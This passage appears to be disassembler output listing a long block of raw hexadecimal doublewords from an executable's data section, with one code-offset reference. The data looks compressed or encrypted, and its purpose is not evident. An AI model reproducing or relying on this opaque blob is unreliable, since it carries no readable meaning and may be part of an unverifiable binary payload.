		dd 97F6DB85h, 321C09Fh,	2A7A019Dh, 84D01297h, 5656794Eh
		dd 0B935811h, 91A66052h, 2178CACh, 1732524Ch, 45005CC2h
		dd 0DCA0AC20h, 84654649h, 9068AC18h, 0C8E1065Ch, 1A41C194h
		dd 1A39720h, 8068EE73h,	0C391065Ch, 1A948010h, 61E90206h
		dd 6F002008h, 20607B3Bh, 32E63420h, 3B6FA911h, 30CB4374h
		dd 0C8020437h, 5E44990Dh, 77121862h, 0F8F6A169h, 0DD4E8AA5h
		dd 0DF0BC00h, 90DEDBC4h, 1C37F6BCh, 62C9832Fh, 8BA58008h
		dd 0F0437612h, 8646D032h, 29227300h, 0A4A99721h, 93255C44h
		dd 0F0076F12h, 0E99FB032h, 0ECF77C2Fh, 1B7C8763h, 4244DFD7h
		dd 3C2CC030h, 60C288Ah,	6D700A13h, 0E1F12060h, 76A60C3h
		dd 0A8E6FF92h, 50A2854Eh, 0B910C7E9h, 84403207h, 832AA0D0h
		dd 0C18AABE0h, 9DA56A3Ch, 3324792h, 40475A72h, 0CD28E96Dh
		dd 982A897h, 0ADA58C05h, 274E54E4h, 777858D3h, 0ED12D319h
		dd 0F21E8188h, 9780E9A5h, 2B6120A1h, 859F8D35h,	0AD0055E7h
		dd 4D01A322h, 4D5F3E4h,	1D03FE02h, 351AD943h, 1431A3D0h
		dd 8C907302h, 6D9D8765h, 2743257Fh, 10563410h, 0D42195B9h
		dd 9C860CCFh, 0E1C1635h, 927D22D5h, 0A6033D16h,	8B222248h
		dd 0E6FA2D98h, 4DF920Dh, 78E93299h, 87DBF263h, 1CE1A226h
		dd 0C764CCE7h, 0F6D674E9h, 0D46B1F0Ch, 0DB49E12Bh, 77FB78B9h
		dd 0C6B1DE85h, 0CFAF25F2h, 0E396D4F8h, 68700676h, 3653EBE5h
		dd 1DFCE82Eh, 144FAFCFh, 258FEFF4h, 0DC9D6E06h,	0EAE92982h
		dd 0FA4C393Ch, 1E87B9FFh, 6F067EF0h, 80E46DFCh,	593D33D3h
		dd 7985D1F7h, 64F34507h, 0DEE1B5D5h, 508E9C6Fh,	0DDEFE0BEh
		dd 0F7EBF771h, 0AA34CE77h, 9AEDBF6Ah, 7CA53D0Fh, 2606E3E6h
		dd 944432FCh, 0AFC64D44h, 8F8B22FAh, 1DF5B8B7h,	9F3FC4FDh
		dd 0D2AE9FAh, 0E7D1B96Fh, 0CE3EF595h, 0A6D76CBCh, 3E3D461Dh
		dd 1A7A6823h, 0BAE01D1Ah, 2EDC2F0Ch, 36B170C5h,	69F29A45h
		dd 0DCD742F2h, 0F6D47399h, 0F2D771B2h, 5287CF1Bh, 0EC9567BCh
		dd 634DB179h, 0C8386BFEh, 2E32F0D0h, 0E8FF154Dh, 0A27D6F61h
		dd 77137175h, 0D9F5892Dh, 0C7CEF9EDh, 0D172595Fh, 70164FBFh
		dd 27370F77h, 62A0EA67h, 7129790h, 5F18552Bh, 10C4B75h
		dd 0E7F71398h, 2BAF027Eh, 0B719ECh, 6AC9A3B8h, 0D3F1E0EDh
		dd 744B3BEFh, 3BC3B97Bh, 2CB107F5h, 622FE9CBh, 0FC4E9F15h
		dd 0F23CB7E8h, 364FF421h, 0D3FB251Eh, 34DB59C5h, 0B35F8ED0h
		dd 0CDF06B4Dh, 0B33905DEh, 857ADEB3h, 729BEEF2h, 9CEFF2F5h
		dd 4B9DFEB7h, 446E0BFAh, 5F9061C2h, 995BFCCDh, 789BECBEh
		dd 57CDF0D3h, 9233ECA6h, 0DD68C93Bh, 0A1FC539Dh, 0EF7A9CD8h
		dd 0CA4ED6BCh, 0D8F6CFBAh, 60EC68BAh, 0C6F1C79Eh, 53B99247h
		dd 177A6F37h, 0AB598D87h, 0B6353A56h, 4B77E0DFh, 0D7F73BE4h
		dd 0B06D5F3Bh, 0B154BF1h, 240F64Bh, 0D339FDD1h,	0F55F9E97h
		dd 0A3772927h, 87C9F512h, 5F28DD66h, 0ED56BCB2h, 0BDC1DD0Eh
		dd 3AA57D63h, 0FFC8B992h, 0A53FDF07h, 0CDEAE067h, 0A1CC53A8h
		dd 0C9E4C725h, 0D19C781Ah, 0F97D8713h, 0EF5E60A8h, 0C456C11Fh
		dd 0BD8F77DCh, 86D32111h, 0F1B0A3C7h, 141F40CEh, 0BACD945Ah
		dd 0E9D46D99h, 1CE9FB72h, 0CCBDCEE3h, 856A48CCh, 0C3EFD49Ch
		dd 7ED673A6h, 6745B815h, 78AD9704h, 8E9EB599h, 0A2561B28h
		dd 964A59Fh, 0E49676F1h, 94FA9693h, 9D6BCDA6h, 0ACC19EBBh
		dd 0EF7398Fh, 0FBF4349Ch, 0D9EF0AFBh, 0B55771A3h, 37F53E22h
		dd 8A31C8CFh, 0D96C0C1Ch, 38FD4EA5h, 297D5FD3h,	0C77B7C1Bh
		dd 0E9728885h, 0DD373FCEh, 190B209Dh, 4A3D61D1h, 4E72BDE8h
		dd 16C1E021h, 5E16E3F3h, 0FECC169Fh, 2A3B14D4h,	69FDC153h
		dd 0A670742Ah, 0DE8F9785h, 0AD2BF58Bh, 0C062B591h, 364A008h
		dd 30F710F9h, 8C5A40Ah,	9E97FE49h, 33F736FCh, 0B1FA667Dh
		dd 12AECD24h, 2C031830h, 89154BECh, 24A4FEE5h, 0A8A05520h
		dd 601F48AAh, 2A1964h, 8C03FD08h, 8067019Ch, 0FFE8FFA2h
		dd 0CCC02B00h, 2806A019h, 0FFE3FFAh, 0CB73B0h, 0FFE88415h
		dd 6A604B00h, 1403A019h, 3FF1FFDh, 65B12D6Ch, 4A09A280h
		dd 1A1B8055h, 542D2F5Ch, 7C9C108Fh, 61D9A4A6h, 0BA491FA7h
		dd 0BC0DF713h, 0C8353E95h, 0E0FDCE27h, 11E97FC3h, 29CA7FCFh
		dd 0C05EA6CFh, 939E9012h, 0F4AF26FBh, 4A07BF67h, 7632089Dh
		dd 3F0482D8h, 413C10CCh, 87EDD97Fh, 931AA73Ah, 0AC953386h
		dd 3E7CDFC7h, 8AE4D2BFh, 9733636Bh, 0DEBFC6F2h,	80F58DAh
		dd 1A1F7B3Ch, 0CCB621Eh
		dd 0D6CE5669h, 0E90EF16Fh, 6C7E5FD7h, 0A0BFD27Fh, 9AA7685Fh
		dd 1D5F8E87h, 0A974C331h, 0E061A7DFh, 9C372BC7h, 4E6FE2F0h
		dd 0F5355F26h, 66D70F8Ch, 1857DB1Ah, 0C055405Ah, 0B2572F8Dh
		dd 24CDCCC4h, 4335BF9Eh, 0CD2E44EDh, 0EECEE1A4h, 8C6CF85Ch
		dd 0E9EDFB78h, 663D74D8h, 7533D250h, 85718A96h,	80346567h
		dd 0C2A66542h, 6AE92BDEh, 77717ED6h, 1D9D9EDEh,	6A4D1E07h
		dd 0DB2EBFACh, 767CAFF7h, 0A806951Bh, 87E7CEA7h, 5F3952DCh
		dd 8859C97h, 60D88D95h,	0DD012A2Fh, 1DFCC7E0h, 2011C003h
		dd 67857C6h, 91F8CF55h,	0D2F267AFh, 0B2A66CE1h,	962993B2h
		dd 5536CC2Eh, 0E2943CF7h, 1E59CDD4h, 45FE5D1Dh,	569B63B9h
		dd 3AD1A76Dh, 1D2DC6F7h, 7111864Fh, 84AEB66h, 0E1315C30h
		dd 1EE68CCDh, 241172D1h, 0F73C7A8h, 3C765507h, 0CDE4414h
		dd 68700E09h, 3BDF8486h, 80C06715h, 5B586336h, 5D9F288Bh
		dd 1B5C05DDh, 0E5C44B1Ah, 4FFFAFCBh, 2A21703Ch,	0EC50BC99h
		dd 4D831C22h, 64154A9Dh, 0E4D0D0EAh, 18088753h,	0B02E020Fh
		dd 496C8Eh, 2864121h, 21178F8h,	967C63EAh, 7895B071h, 0E2564042h
		dd 95E312Ah, 258884AEh,	967112BEh, 5B044B28h, 6E122D42h
		dd 0C04BB689h, 312EDE25h, 0C4BC8897h, 12FEA25Dh, 0F921897Ch
		dd 30942508h, 4253104Ah, 9508129h, 255004A7h, 958112A4h
		dd 57444AB0h, 61122B62h, 944BAF89h, 912DC625h, 4B63896h
		dd 12E6625Bh, 4BC08970h, 2FA225D8h, 88FC97B1h, 25145F84h
		dd 9491D086h, 53444A38h, 50122962h, 484AA789h, 412AA225h
		dd 84AC9895h, 12B8A255h, 4B00095Ah, 2C622578h, 0B3099621h
		dd 0D4255904h, 68966812h, 25CAC4Bh, 976E12Eh, 25E484BAh
		dd 97D112EEh, 69484BD8h, 23202014h, 94C1AA40h, 53C44A50h
		dd 521229C2h, 584AA809h, 0D12CA825h, 84B2C895h,	12D60258h
		dd 4B900967h, 2E8225B4h, 0BB899731h, 28915D84h,	10847812h
		dd 45121FAAh, 244AA189h, 0C1298E25h, 0C4A85894h, 12AAC253h
		dd 4AC88953h, 2BA2255Ch, 0B10995A1h, 6A5804h, 47C86412h
		dd 97C47D9h, 7E100479h,	0C44A12B4h, 0D8C8BC25h,	0F30167C9h
		dd 7619D0Ah, 1C1F6B8Ah,	0E2F958A9h, 0E29AFFDh, 0AA3C8713h
		dd 6A987348h, 0F0A500C7h, 7881BBACh, 0C62ED26Bh, 180CFD6Ah
		dd 75AD200h, 36874A4Dh,	92855BB7h, 0A423EFA2h, 86C08A4Bh
		dd 0F5F83CBh, 0DFBAFB54h, 0D8B2BE77h, 0DDDBF9EBh, 652C7243h
		dd 88163178h, 2DC50923h, 6E568213h, 0BEDDE1DDh,	1724CB6Dh
		dd 3AAE2EB2h, 596F4687h, 6381554Dh, 0D02604C7h,	98B26481h
		dd 708E06A1h, 7211C019h, 80A46B40h, 52F8EB84h, 0CCAED31Ah
		dd 4E870313h, 1847FF1Dh, 0C1987B3Dh, 96497B98h,	7A198214h
		dd 0FE6D2786h, 0DC3D5A86h, 55C51A97h, 9FCC16F0h, 74D0D524h
		dd 917F6D4Bh, 0A0E9854Ch, 0E63F59C2h, 77A05DDFh, 0B589D8A8h
		dd 0BF9DDB18h, 7A280DFFh, 5203E0B0h, 77D1009Bh,	2903433Dh
		dd 300C69E0h, 18109612h, 0AE7307CAh, 3C491A12h,	0EC50AA30h
		dd 80A3893h, 4E7FE156h,	60772613h, 41A10434h, 804D94Dh
		dd 6F962B44h, 0E3F63C9Fh, 0BF7FB3C3h, 97BC7EFDh, 65BE8F9Ch
		dd 7FDC1D3h, 0C4DEC458h, 0FF1ED484h, 3C06029Ch,	5E4F050Dh
		dd 5FFADEB3h, 0DBF06BC0h, 8A9BA7D7h, 0FD67F779h, 0FF7FF57Eh
		dd 425E01h, 0AA5E9E02h,	3A0DDF6Ch, 5AB5ADD5h, 0A66D3297h
		dd 13D5D2A8h, 0B924A79Ah, 0FFD33424h, 0F3949484h, 618FE5EBh
		dd 0FFD327F0h, 9A8E25DAh, 0CFFA28EBh, 0BD7E17C7h, 0C285FDFDh
		dd 80FEF2FAh, 1F10BDCCh, 861787Eh, 7DFB08D6h, 0EB713504h
		dd 8A129FD7h, 0C3BDC9F2h, 0FB36ED31h, 172DD5F5h, 0F87B3B0Dh
		dd 0FE175B0Ch, 0A2A2FC6Dh, 33E13477h, 67BBC1F4h, 11862CB2h
		dd 24749080h, 1C3C760h,	46D38AE7h, 0E06CE200h, 49198FB7h
		dd 0BF1B76C5h, 0CEC02E4Ch, 0A71F6658h, 0DF0CBEE8h, 80E16A74h
		dd 0B820080Ah, 0E6EC7245h, 8FB26448h, 89B0A703h, 0EEE82A7Bh
		dd 19422648h, 7C70F19Eh, 6C8BFB12h, 427C60DAh, 0D459920Dh
		dd 0A0686246h, 0C40210h, 0E0F11201h, 87B125B2h,	395084A3h
		dd 70F1028Eh, 261DB028h, 0E0515Ch, 0CC561C3Eh, 3D5F06A6h
		dd 363B1587h, 109C1637h, 22E5328Bh, 69C7DA1h, 775C776Bh
		dd 384C43E5h, 2D3603E0h, 8B0D1316h, 80900B09h, 0C3590A79h
		dd 0B7DBB0C1h, 45804427h, 2DA701C1h, 5675029Bh,	15820422h
		dd 9048367Bh, 2CEC8340h, 1BA03C0Dh, 0C4596EF8h,	60F05C29h
		dd 0CB6D7432h, 330A926Dh, 26A440C0h, 12C09936h,	0C433B8DBh
		dd 0D818B2h, 720D1BB3h,	75B55CC8h, 2A494713h, 5B992DC6h
		dd 0AB2CB015h, 87D1CBE0h, 0D731374Bh, 3091248Dh, 7158C7E8h
		dd 0A772CBE6h, 391C24E6h, 27E58B5h, 0AE18D070h,	72FA79A6h
		dd 3C5690E8h, 57D887BAh, 71AD586Fh, 0F0F897CBh,	0EF3925F1h
		dd 0A2A4FE1Eh, 83DBC31Eh, 0FACA97C4h, 0A73EEFD6h, 0FDCD78FCh
		dd 37F2260Ah, 23482A1Eh, 68820742h, 1004A9A1h, 74318106h
		dd 12E66F10h, 49DC096Fh, 101025E4h, 42809730h, 4B2F11FEh
		dd 0F422C0CDh, 0AAF0CAACh, 8C3A8Eh, 0C1E267BFh,	779B766Fh
		dd 0A13FD1B5h, 0AFC51E3Dh, 311D7B51h, 109F5F79h, 0CB52F7D2h
		dd 0AFECBD42h, 0D64F73F4h, 0E166DFEBh, 0CE44DEF4h, 9A7E912Eh
		dd 44EA504h, 0FCBAF7AEh, 300E0BE8h, 223BDB6Fh, 0D63BEE34h
		dd 9B6FF443h, 4BD965CEh, 0FD41B25Dh, 5BAC680Eh,	457CB022h
		dd 95BCF74Bh, 0DD18BDC8h, 5BEC9AAEh, 1B0FC40Bh,	0B3BF69Bh
		dd 0CEFDB8C4h, 4B60F6E7h, 0D873F9F1h, 92D98458h, 5104EB6Dh
		dd 34A255A8h, 0B3CAFD86h, 0A88E5318h, 55394D42h, 2A35D49Ah
		dd 46CC8617h, 1A455295h, 42925406h, 72305095h, 39A1ABE5h
		dd 0BEE0E6D5h, 3033BA5h, 4EB2CF9Eh, 1D980A79h, 0CDCDDD19h
		dd 2C76C36Bh, 0CC15871Fh, 69C51B70h, 1A092773h,	5892E61Ch
		dd 919871h, 7DD790C5h, 1601h, 0F088h, 80000000h, 434A0043h
		dd 1000h, 0
		dd 20F33010h, 32289FF4h, 0A78063B4h, 1184605h, 8533D094h
		dd 11842601h, 0D2D765B9h, 5B8A5B26h, 73297590h,	0B1261228h
		dd 0F65BA536h, 0DE7EEA7Ch, 0C522C36Eh, 542F414h, 4A65BCE9h
		dd 0C2B69B15h, 0C8B93BCDh, 5892A81h, 0CB7D8CEDh, 90917377h
		dd 324C7051h, 6F169057h, 6114AB5Ah, 4F5D2EB6h, 1B650458h
		dd 141843Ah, 8C190485h,	29A52B00h, 8DC12C2h, 25944B48h
		dd 930C3A00h, 35D6E6D5h, 0A355394Dh, 1A5B0D9Ch,	0B50ADF78h
		dd 6934FA04h, 8952ADC8h, 0F8C03EFBh, 0EE112200h, 2 dup(0)
		dd offset loc_439000
		dd 16D8434Ah, 2, 60750000h, 168520E2h, 11B4BC6Ch, 9432BBA2h
		dd 0FFFA4EB2h, 0A99C3E9Fh, 0FDBF61F9h, 640DA053h, 6DD038DFh
		dd 3BBB0960h, 89AAFC2Eh, 0D3480123h, 0E3B78375h, 0EECC7F1Bh
		dd 6CF61F02h, 2427EB82h, 5C6EF709h, 0F8F64403h,	0CF814347h
		dd 556187A4h, 4E2E52B4h, 82F4BA9Fh, 0F6C243F6h,	764652D3h
		dd 70A5F3C5h, 0E3B7AADFh, 91BBC8CAh, 448BE220h,	53FBF791h
		dd 0A44BF300h, 0FB33FBD7h, 0E2821C87h, 0CAA61D87h, 24ABA196h
		dd 61E62E09h, 22B15F9h,	0F1C485C5h, 0B1AE9FACh,	3C08B73Bh
		dd 17D8F0F8h, 249B9D4Fh, 8A49F404h, 3E2EF187h, 77DC2B50h
		dd 0B8B20781h, 0C7C5FF71h, 5D243809h, 4B35A98Ah, 2DA63D89h
		dd 7F5B6311h, 60EA017Dh, 494D81E3h, 8D6507A6h, 783CA49Bh
		dd 0C601EBDAh, 0CD890911h, 8FE6EE56h, 8E49E101h, 3AD9E587h
		dd 71DD317Dh, 703C79E1h, 1A13B3C1h, 0B8D7AD57h,	80B0A36Eh
		dd 0FDEFBFD7h, 0F76FEFCBh, 841ADE29h, 0F26683C7h, 1B4D29C4h
		dd 0C3E73841h, 6B5BDB70h, 29EF149h, 10A5D51Dh, 15B13DF8h
		dd 50ECB160h, 502DD150h, 35C90152h, 8724987Eh, 9CBD9DB8h
		dd 0C50F54D7h, 8BE47621h, 4F59CCA2h, 1639ED99h,	9151AC4Ch
		dd 0F8D4D1A0h, 0C444CC81h, 3C953138h, 667007FDh, 5A315431h
		dd 0C7CEDE6h, 7BD2D448h, 0E0921065h, 0D8B3B45Eh, 9E5BC93Ah
		dd 31443F02h, 23D6466Ah, 0A5CE6CF4h, 7E36AAB5h,	4BC4C6E0h
		dd 7DFD0BDDh, 1C125FD3h, 24FE7A34h, 0DE0250E0h,	0D5DC5D35h
		dd 3D6EE6B7h, 7E8B8C3Ch, 2F85E7B1h, 7250448Ah, 4E6E7FFh
		dd 31C7EAC6h, 4FCDFAC7h, 17E497F8h, 903C929Dh, 5FA54AB6h
		dd 0CB4E5024h, 1740DC46h, 872FC69Fh, 0FA603AD1h, 5255545h
		dd 1320EFBFh, 0F301CC2Fh, 64888D7Bh, 0EA5164A2h, 87A44B63h
		dd 55ABC883h, 0AADAA0Dh, 0C16B8124h, 0F60768D8h, 0E4DD909Ah
		dd 4B89DD61h, 0FF30F321h, 1F96F944h, 1EF0FC27h,	7BFAA59Bh
		dd 34A8364Ah, 2325152Dh, 0E06D8911h, 0D2D11F87h, 0B5F38781h
		dd 0B9DCE3B1h, 187467E4h, 80E62F7Ch, 289E9CE1h,	1E19F7A0h
		dd 0D6F18A66h, 0B4A924ACh, 84CF712Fh, 337CB668h, 147603CFh
		dd 0BDB6E859h, 43A53B3Ah, 17C5C543h, 368517EEh,	0AF24CFD4h
		dd 0FC2A497h, 0E2F02BCh, 0BB395C98h, 0D5B8D823h, 0D7838DA3h
		dd 0DA3CA188h, 0D9421610h, 0AF0F3251h, 2941C3B6h, 634113EFh
		dd 20A27BEEh, 0A80B59CFh, 1C071908h, 3B4DCDAAh,	1DD99ACAh
		dd 0FF8B0A76h, 1AFC988Eh, 240D6E77h, 4D4EC69Fh,	3D7738FBh
		dd 0C5DAD14Eh, 0F6C79556h, 0A0815BC1h, 37B2677Eh, 23B4E946h
		dd 0FA8C4ABFh, 0EBE1D0E5h, 53437C97h, 0FC4479Ch, 38C387h
		dd 6EFACF61h, 9CEDA67Dh, 0F264E31Ah, 6E4DD7ECh,	0B6253DFFh
		dd 2D668D4Dh, 0B7CD7585h, 733B829Bh, 0CC0AE07Bh, 0C4B3B706h
		dd 0AAFFB43Dh, 0B479338Bh, 56AF1B88h, 21FE6F4h,	0AD564E66h
		dd 43B986A6h, 7480804h,	34EA1481h, 0C6A060C1h, 0C4C71F26h
		dd 2E0BA279h, 0A8668C06h, 16B54C4h, 0D4004278h,	86E1CEF1h
		dd 0E5E266F1h, 0C021A53Bh, 0B1B868BFh, 0F906ECEAh, 0DD6F5E9Fh
		dd 2A81D68Bh, 0FA8A61C3h, 0D3CDA15Eh, 69704334h, 0B467201Eh
		dd 0F3F24A60h, 0BA2DAF81h, 0BF367C25h, 37FA4C61h, 530CCF72h
		dd 25992798h, 4BCE358h,	0C3FF6ED7h, 1071214Ch, 0AA9FA6D6h
		dd 882A90B9h, 0ED42E500h, 123553E1h, 864A3604h,	83116AC0h
		dd 0F2622428h, 0E5C85CC0h, 444F12DDh, 5998BF87h, 0F01889F3h
		dd 0A069EA6Dh, 96BED52Dh, 3775ED5Dh, 0CA9346A4h, 5C40A72Bh
		dd 720A4756h, 0E1AD1EECh, 0FBDC1304h, 0A061C42h, 6A7F1E6Ch
		dd 99CEA792h, 75734B33h, 4C2582DEh, 0D6ADF744h,	8A8254C1h
		dd 8F87111Ch, 0F7252C6Bh, 0DDE8E455h, 3979AA92h, 0C84C58C5h
		dd 0E52FD683h, 3AB7DABh, 0FD1B30EEh, 5A6D81DEh,	6D9DCAA3h
		dd 0CB3E9650h, 9DDB7494h, 0DD753145h, 1C95EB11h, 0BBB0ED7Bh
		dd 78795ED1h, 7F6BEF66h, 3C506062h, 845BBC1Eh, 0C7501973h
		dd 941508A8h, 830BC4C1h, 0ED793F60h, 95CEA98Ah,	0B3D646BBh
		dd 61D8B465h, 30C4A82Bh, 3503BE08h, 7E15339Ch, 0B900CF87h
		dd 2ECD3888h, 47A303EDh, 0D0FD50B4h, 39F8AD30h,	0F28EB93Ch
		dd 3250D291h, 467BC142h, 70C14024h, 0AAC133E0h,	77A8AB47h
		dd 47779CB8h, 83428446h, 19A39468h, 0A1100641h,	0D53E3C03h
		dd 0A60222BDh, 832352ACh, 814D6B69h, 95B6ED87h,	0E1D4BAB0h
		dd 9D035381h, 269AF914h, 736ACEC0h, 5FE6B52Dh, 0FAA3F3C9h
		dd 140FC02Bh, 4922C3F1h, 750A0B83h, 0F3F58503h,	0D1B67096h
		dd 37730FC1h, 0ECE0EA46h, 0C98C5D1Bh, 0BE87DF9h, 0D129CE35h
		dd 14746F65h, 0BF1ED78Ch, 0AE7CD14Fh, 355773C1h, 5436040Ah
		dd 0AD19C5FEh, 0A65A9627h, 4B00FEAAh, 9DA96977h, 0A4CE8B08h
		dd 0B1407ACDh, 0F6A7AB36h, 208AF8F5h, 0A9AA09D2h, 0A02629D3h
		dd 0CB378052h, 76C12C90h, 3604A18Dh, 65544B42h,	0E63735D8h
		dd 4425077h, 4AC32B77h,	17974617h, 0D7D4F401h, 4299D1E1h
		dd 6C2D5F20h, 178B91E1h, 0EC992B2Ah, 4ADE66D3h,	0BF2C1DEEh
		dd 2E5B53A2h, 9AC55F1Ch, 770B6014h, 39D0D411h, 0E3955856h
		dd 0D2CE14E6h, 72411B44h, 0E36FE00Ch, 4BC46287h, 0D92D9C24h
		dd 0D5655A0Bh, 9DD9C3B9h, 3C855580h, 56044578h,	0EC1E2148h
		dd 0C1AAB15Fh, 0D4CB4A5Fh, 2065C066h, 33C23811h, 0CA42C59Bh
		dd 425F8AFDh, 7F11E57h,	71FACA16h, 0ECBD4FC0h, 656A024Bh
		dd 95D2D571h, 877D3892h, 0D4F2F058h, 129DE644h,	0FA2AB58h
		dd 4CFCF1Dh, 3EB1798h, 8C52F33h, 0EBD1CE53h, 6F949A5Eh
		dd 2A568347h, 0B564592Fh, 0E7465B3Dh, 9AC662D1h, 0B747CBC4h
		dd 0E805CC69h, 0F2A4E9C2h, 0ED033F7Eh, 19E7B07h, 3F25D9Dh
		dd 7A932527h, 0A98D9EFCh, 6C0C82FEh, 8DBAE7FCh,	54533A79h
		dd 92C78987h, 371F4DEAh, 874C6D02h, 0F3C969AFh,	2162474Eh
		dd 3DCFF8ADh, 30EE60Bh,	66171473h, 0BBCEA081h, 0F30F8211h
		dd 7F608CAFh, 0C2D5C15Fh, 8181798Dh, 0E894BFA0h, 0CC269C53h
		dd 1677253Ch, 6860BF10h, 0FA347E6Dh, 849A31BEh,	40CF1D09h
		dd 0CD40772h, 96FC0ADBh, 0F397CA43h, 58DB5540h,	0C8A611EBh
		dd 45EEE4FCh, 8E1A3E40h, 1D0F6015h, 0F056CDC8h,	7178EFC3h
		dd 0E5D04B58h, 6B841E9Fh, 7605157Ah, 0F058344Bh, 8E373B29h
		dd 2B54D07Bh, 6654D789h, 51D7A49Ah, 0C620774h, 3E058A70h
		dd 0F01547Dh, 62064282h, 14E9E0D4h, 808AC9E0h, 184E9436h
		dd 52D23E9Dh, 174E94A7h, 44D38FA5h, 0D0D499A7h,	7419ACA9h
		dd 9D74E80Ah, 27453A08h, 0A9D04E9Ah, 927413A2h,	189DF4E8h
		dd 85A7453Ah, 0A209974Eh, 0EB9A4293h, 3A04D094h, 4A5C7415h
		dd 47419D03h, 9F434734h, 0FB57018Eh, 10C92646h,	5DA9CED8h
		dd 45A1185h, 0FCCE8A1Bh, 1FB5B8BFh, 0AAE9C814h,	42179477h
		dd 521DBFBFh, 6366A46Dh, 68DC4662h, 1F288CDCh, 99456B18h
		dd 0AE31E21Dh, 340FAEA7h, 4B259E36h, 8C8BFD5Dh,	76C47F33h
		dd 3A53CCACh, 6A25CA95h, 64D89CAAh, 3509DC8Bh, 8D1B10F5h
		dd 0ACC54F16h, 0AE880305h, 31F72828h, 9297596Ch, 258D816Ch
		dd 0A67EE7C1h, 0B3BB4C04h, 8E2CF368h, 4C1A5CB7h, 98F015FCh
		dd 48E6BD59h, 629814E9h, 0CF464C15h, 0F8283029h, 259FEC98h
		dd 7F2FFD82h, 7E7AC6B8h, 0D98E7E26h, 51CAB8A2h,	61F81CEDh
		dd 9C13F5FFh, 3E56EEB4h, 0B2CE2BD0h, 5C1E079Dh,	0EE52F322h
		dd 0E18B3473h
		dd 6BD620C6h, 5E1C7DA2h, 4FDF2719h, 229D2F7Ah, 42960CBFh
		dd 7ECBD198h, 1F896122h, 848E557Ah, 158D5C4h, 1F87C35Fh
		dd 433F24CAh, 160E9CE6h, 0A2789389h, 0B699AA56h, 0C0CF1E16h
		dd 1E92DBAEh, 95E654EDh, 80950AAh, 1A645543h, 4AC0DF58h
		dd 0F1835EF5h, 0C8A503h, 0E17CE417h, 72B682CBh,	83124D09h
		dd 0BA61FA41h, 0BC5F658Dh, 3C4CD6CEh, 8B563F39h, 9C390AB5h
		dd 0CA8DC54Bh, 0CF515AB9h, 41977C76h, 0FB9140B2h, 0F7154227h
		dd 0BC73F180h, 3F1DD8CEh, 47584130h, 0AD1BF4DFh, 0B6F654BFh
		dd 83351FC6h, 0D20BD707h, 99BA82DDh, 73A2FC21h,	0C5115FC9h
		dd 3FD4EB86h, 0DE850D9h, 0A10E6EFCh, 0BDE17B03h, 47906CFEh
		dd 1422A4ECh, 0D51084F0h, 4ECE3E06h, 0B899D2DFh, 851361F8h
		dd 659ED707h, 0C0F71898h, 0B86C47F2h, 8C99AA36h, 0D4B5E1Fh
		dd 2E796682h, 8E0F50E6h, 735AA13h, 7257AA32h, 9A512F1Eh
		dd 4D95C89Dh, 7DB820C3h, 21F8AD93h, 0D02373ADh,	5D016EDDh
		dd 0CCC67D66h, 8303EFA6h, 0E1E10719h, 0CFB4C91Fh, 5EED1257h
		dd 0E098743Dh, 67826A53h, 0A7B0DB84h, 390304DCh, 0A6D0A54Ah
		dd 2CD16EB1h, 761694D6h, 0A62A4442h, 0E0FA8A6Fh, 7EE68BF6h
		dd 0F0A2303Fh, 0E301B079h, 8EA2DDC5h, 0D4DC4C1Eh, 2FDB4168h
		dd 834D08ABh, 37FDABC2h, 2B603CEEh, 3608BEBh, 33E9596Dh
		dd 0A2501F5h, 9C3A54AAh, 3D8C9E86h, 368BBA9Ah, 255C252Ah
		dd 783FEE6Bh, 82E4ACE0h, 2C0919F4h, 0ABB55894h,	10F2B75h
		dd 0ECF7A713h, 0E0DE5A84h, 0DE2C02CDh, 6FCBF694h, 3CF0FBC4h
		dd 4774A375h, 82C9B68Ah, 0D80D521Ch, 1502DD77h,	878BE4DEh
		dd 58C94BFDh, 0C94E2C5Ah, 0B44DC79h, 6FBEA415h,	583E327Bh
		dd 0A7DF28EDh, 62E3707Dh, 59888140h, 80B2A7C1h,	35DDA96Eh
		dd 0F62BA606h, 6854C70Ch, 0C053D541h, 2E7DBF17h, 6377D72Eh
		dd 56A27C47h, 2D12A386h, 262A8FBFh, 0E295CA22h,	0BF5F86ACh
		dd 0BF6D7019h, 2402C107h, 4A595A42h, 0A2A1BFA8h, 0D1EB58B5h
		dd 1C6BE69Eh, 8CC17C1Eh, 22FC03E3h, 0BDB53F11h,	0ECBB8F9h
		dd 0E51FACBFh, 0C987B2C1h, 0FB69A9C0h, 0AD6875DEh, 0BA7AA62Ah
		dd 18DC90FCh, 29310AF0h, 9BFB547h, 0EFE52A8Fh, 97E44F8Fh
		dd 92098FE5h, 6336D1B5h, 5A1C9818h, 0F21CD738h,	53D56CF6h
		dd 0BBAE2D3Ah, 4CF321D1h, 0F5DD49D8h, 0F2E5F3BDh, 7D51E5BAh
		dd 7E7665EAh, 0E238ADE0h, 0F7E509A6h, 9EC5FF7h,	6B8615E2h
		dd 0A4AB87B4h, 0EB904604h, 2DB45A7h, 574E9D8h, 9482EE8h
		dd 5BB0DDF4h, 0ECAF2282h, 0E341E681h, 0EC55ABC1h, 572E703Eh
		dd 0B0A8970Bh, 97C76A1Fh, 0B13CD601h, 6EFFA04Bh, 0EDD4191Fh
		dd 65BD03C2h, 0F65BE678h, 68400E1Eh, 0B9B39F5h,	0FC30F3E3h
		dd 5D35540Bh, 0ACEDB0AEh, 405FAF2h, 756A66B7h, 0A9D27B3h
		dd 0E083F375h, 0D8D89552h, 0B2EA2137h, 45C5B472h, 15721A91h
		dd 0DAEF9A33h, 1FCA9C94h, 0F81079B5h, 282AFDFFh, 0F2319C08h
		dd 21DBD3D6h, 5BAA9AE5h, 3916BFA6h, 2D69BBB4h, 4C44021Dh
		dd 9AECA02Eh, 58A6176Dh, 0F0774D15h, 0F59CCDF7h, 117BD330h
		dd 0F3C9C90Fh, 0A5FC1E36h, 3B573FEDh, 6267FA5Ah, 0F41AF9C4h
		dd 44B0D8FBh, 0AADD1888h, 0B4E08573h, 5B5FCD8Fh, 0E5757E56h
		dd 0DAAA1B2Ah, 90AC3ED9h, 6371F8B8h, 9668D474h,	5742A5Eh
		dd 3C419468h, 0C1BF7D9Ch, 1D76072h, 0E7EEAAEBh,	0C852A6D8h
		dd 1BB28734h, 791040B7h, 3907A870h, 0E1645C49h,	0B8DFBA86h
		dd 359EA318h, 0B8BE13D0h, 73E44FAAh, 74E752C1h,	71294DAFh
		dd 40A6A33Fh, 5A2285E4h, 332E6B82h, 960C563h, 0A14370CFh
		dd 0CBB32295h, 0B467CF41h, 0C749B15Ah, 34C1694Bh, 0F0385BAFh
